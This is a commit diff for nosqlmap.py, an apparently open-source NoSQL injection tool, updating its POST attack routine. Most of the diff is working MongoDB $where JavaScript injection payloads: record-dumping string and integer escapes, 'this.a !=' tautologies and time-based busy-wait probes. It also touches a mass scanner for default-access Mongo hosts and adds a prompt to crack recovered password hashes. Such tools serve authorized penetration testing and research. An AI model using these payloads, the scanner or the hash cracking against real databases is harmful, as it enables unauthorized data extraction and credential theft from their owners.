Skip to content

Commit 0436617

Browse files
committed
Finished POST
1 parent 248f8c2 commit 0436617

File tree

1 file changed

+32
-25
lines changed

1 file changed

+32
-25
lines changed

nosqlmap.py

Lines changed: 32 additions & 25 deletions
Original file line numberDiff line numberDiff line change
@@ -29,6 +29,7 @@
2929
import ipcalc
3030
import signal
3131
import ast
32+
import datetime
3233
from hashlib import md5
3334

3435
#Set a list so we can track whether options are set or not to avoid resetting them in subsequent cals to the options menu.
@@ -199,6 +200,7 @@ def options():
199200
httpMethod = raw_input("Select an option: ")
200201

201202
if httpMethod == "1":
203+
httpMethod = "GET"
202204
print "GET request set"
203205
optionSet[3] = True
204206
options()
@@ -606,7 +608,7 @@ def postApps():
606608
possAddrs.append(str(neDict))
607609
#Delete the extra key
608610
del postData[injOpt + "[$ne]"]
609-
postData.update({injOpt:"=a'; return db.a.find(); var dummy='!"})
611+
postData.update({injOpt:"a'; return db.a.find(); var dummy='!"})
610612
body = urllib.urlencode(postData)
611613
req = urllib2.Request(appURL,body)
612614
print "Testing Mongo <2.4 $where all Javascript string escape attack for all records...\n"
@@ -633,7 +635,7 @@ def postApps():
633635
possAddrs.append(str(postData))
634636

635637
print "\n"
636-
postData.update({injOpt:"=1; return db.a.find(); var dummy=1"})
638+
postData.update({injOpt:"1; return db.a.find(); var dummy=1"})
637639
body = urllib.urlencode(postData)
638640
req = urllib2.Request(appURL,body)
639641
print "Testing Mongo <2.4 $where Javascript integer escape attack for all records...\n"
@@ -661,7 +663,7 @@ def postApps():
661663

662664
#Start a single record attack in case the app expects only one record back
663665

664-
postData.update({injOpt:"=a'; return db.a.findOne(); var dummy='!"})
666+
postData.update({injOpt:"a'; return db.a.findOne(); var dummy='!"})
665667
body = urllib.urlencode(postData)
666668
req = urllib2.Request(appURL,body)
667669
print "Testing Mongo <2.4 $where all Javascript string escape attack for one record...\n"
@@ -688,7 +690,7 @@ def postApps():
688690
possAddrs.append(str(postData))
689691

690692
print "\n"
691-
postData.update({injOpt:"=1; return db.a.findOne(); var dummy=1"})
693+
postData.update({injOpt:"1; return db.a.findOne(); var dummy=1"})
692694
body = urllib.urlencode(postData)
693695
req = urllib2.Request(appURL,body)
694696
print "Testing Mongo <2.4 $where Javascript integer escape attack for one record...\n"
@@ -715,7 +717,7 @@ def postApps():
715717
possAddrs.append(str(postData))
716718

717719
print "\n"
718-
postData.update({injOpt:"=a'; return this.a != '" + injectString + "'; var dummy='!"})
720+
postData.update({injOpt:"a'; return this.a != '" + injectString + "'; var dummy='!"})
719721
body = urllib.urlencode(postData)
720722
req = urllib2.Request(appURL,body)
721723

@@ -741,7 +743,7 @@ def postApps():
741743
possAddrs.append(str(postData))
742744

743745
print "\n"
744-
postData.update({injOpt:"=1; return this.a != '" + injectString + "'; var dummy=1"})
746+
postData.update({injOpt:"1; return this.a != '" + injectString + "'; var dummy=1"})
745747
body = urllib.urlencode(postData)
746748
req = urllib2.Request(appURL,body)
747749
print "Testing Mongo this not equals integer escape attack for all records..."
@@ -770,43 +772,44 @@ def postApps():
770772

771773
if doTimeAttack == "y" or doTimeAttack == "Y":
772774
print "Starting Javascript string escape time based injection..."
773-
start = time.time()
774-
postData.update({injOpt:"=a'; var date = new Date(); var curDate = null; do { curDate = new Date(); } while((Math.abs(date.getTime()-curDate.getTime()))/1000 < 10); return; var dummy='!"})
775+
postData.update({injOpt:"a'; var date = new Date(); var curDate = null; do { curDate = new Date(); } while((Math.abs(curDate.getTime()-date.getTime()))/1000 < 10); return true; var dummy='a"})
775776
body = urllib.urlencode(postData)
776777
conn = urllib2.urlopen(req,body)
778+
start = time.time()
777779
page = conn.read()
778780
end = time.time()
779781
conn.close()
780-
#print str(end)
781-
#print str(start)
782+
print str(end)
783+
print str(start)
782784
strTimeDelta = (int(round((end - start), 3)) - timeBase)
783785
#print str(strTimeDelta)
784786
if strTimeDelta > 25:
785-
print "HTTP load time variance was " + str(strTimeDelta) +" seconds! Injection possible."
787+
print "HTTP load time variance was " + str(strTimeDelta) +" seconds! Injection possible."
786788
strTbAttack = True
787789

788790
else:
789-
print "HTTP load time variance was only " + str(strTimeDelta) + "seconds. Injection probably didn't work."
791+
print "HTTP load time variance was only " + str(strTimeDelta) + " seconds. Injection probably didn't work."
790792
strTbAttack = False
791793

792794
print "Starting Javascript integer escape time based injection..."
793-
start = time.time()
794-
postData.update({injOpt:"=1; var date = new Date(); var curDate = null; do { curDate = new Date(); } while((Math.abs(date.getTime()-curDate.getTime()))/1000 < 10); return; var dummy=1"})
795+
796+
postData.update({injOpt:"1; var date = new Date(); var curDate = null; do { curDate = new Date(); } while((Math.abs(date.getTime()-curDate.getTime()))/1000 < 10); return; var dummy=1"})
795797
body = urllib.urlencode(postData)
798+
start = time.time()
796799
conn = urllib2.urlopen(req,body)
797800
page = conn.read()
798-
end = time.time()
801+
end = time.time()
799802
conn.close()
800-
#print str(end)
801-
#print str(start)
802-
intTimeDelta = (int(round((end - start), 3)) - timeBase)
803+
print str(end)
804+
print str(start)
805+
intTimeDelta = ((end-start) - timeBase)
803806
#print str(strTimeDelta)
804807
if intTimeDelta > 25:
805808
print "HTTP load time variance was " + str(intTimeDelta) +" seconds! Injection possible."
806809
intTbAttack = True
807810

808811
else:
809-
print "HTTP load time variance was only " + str(intTimeDelta) + "seconds. Injection probably didn't work."
812+
print "HTTP load time variance was only " + str(intTimeDelta) + " seconds. Injection probably didn't work."
810813
intTbAttack = False
811814

812815
print "\n"
@@ -1403,10 +1406,6 @@ def massMongo():
14031406
raw_input("Not a valid subnet. Press enter to return to main menu.")
14041407
mainMenu()
14051408

1406-
1407-
print "Debug:"
1408-
print ipList
1409-
14101409
if loadOpt == "2":
14111410
while loadCheck == False:
14121411
loadPath = raw_input("Enter file name with IP list to scan: ")
@@ -1431,7 +1430,6 @@ def massMongo():
14311430
dbList = conn.database_names()
14321431

14331432
print "Successful default access on " + target
1434-
target = target[:-1]
14351433
success.append(target)
14361434
conn.disconnect()
14371435

@@ -1508,6 +1506,7 @@ def getDBInfo():
15081506
retrUsers = 0
15091507
users = []
15101508
hashes = []
1509+
crackHash = ""
15111510

15121511
chars = string.ascii_letters + string.digits
15131512
print "Getting baseline True query return size..."
@@ -1693,8 +1692,16 @@ def getDBInfo():
16931692
charCounterHash = 0
16941693
rightCharsHash = 0
16951694
pwdHash = ""
1695+
crackHash = raw_input("Crack recovered hashes (y/n)?: ")
16961696

1697-
1697+
if crackHash == "y" or crackHash == "Y":
1698+
menuItem = 1
1699+
for user in users:
1700+
print str(menuItem) + "-" + user
1701+
menuItem +=1
1702+
1703+
userIndex = raw_input("Select user hash to crack: ")
1704+
brute_pass(users[int(userIndex)-1],hashes[int(userIndex)-1])
16981705

16991706

17001707
raw_input("Press enter to continue...")

0 commit comments

Comments
 (0)